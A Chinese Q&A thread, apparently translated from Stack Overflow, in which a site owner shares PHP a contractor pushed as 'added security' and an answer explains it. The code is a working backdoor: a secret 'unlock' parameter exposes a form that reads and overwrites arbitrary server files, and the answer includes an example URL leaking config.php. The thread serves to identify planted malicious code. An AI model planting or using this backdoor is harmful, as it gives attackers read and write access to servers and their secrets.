我在一个网站上工作,最近选择了一些人来处理PHP部分,我怀疑他可能已经在网站上添加了恶意代码,他在未经许可的情况下推了一些PHP,也没有提到任何人都可以。
推送被标记为“添加了安全性”。 这是代码:
<?PHP
if(isset($_GET['unlock'])) {
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
$url = './$name?unlock&id='.$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
$text = htmlentities(file_get_contents($file));
echo "<form method='post'><input type='submit'><textarea name='text'>$text</textarea></form>$dic";
die();
}
?>
提前致谢。
答案 0 :(得分:3)
让我们看看,以下
<?php
if(isset($_GET['unlock'])) {
...
}
表示如果您不发送参数unlock
,则不会显示任何内容。就像是一个保留秘密代码的创造性尝试,只有他才能用一个神奇的词来解锁。
关于里面的内容
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
//$url = './$name?unlock&id='.$id; // the former would fail to interpolate $name
$url = "./$name&id=".$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
$text = htmlentities(file_get_contents($file));
echo"<form method='post'><input type='submit'><textarea name='text'>$text</textarea> </form>";
如果您传递参数unlock和id(这是一个文件名),以及可选的参数f(这是一个文件夹),您可以在textarea中看到该文件的内容。例如
http://www.myserver.com/thescript.php?unlock&id=config.php&f=app
会在config.php
文件夹中的app
中公开您的敏感信息。
最后,这部分
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
可以通过提交表单来编辑或创建文件。它可能由于缺少权限而失败,但由于您可以使用该文件夹,因此您只需坚持直到找到可写文件夹。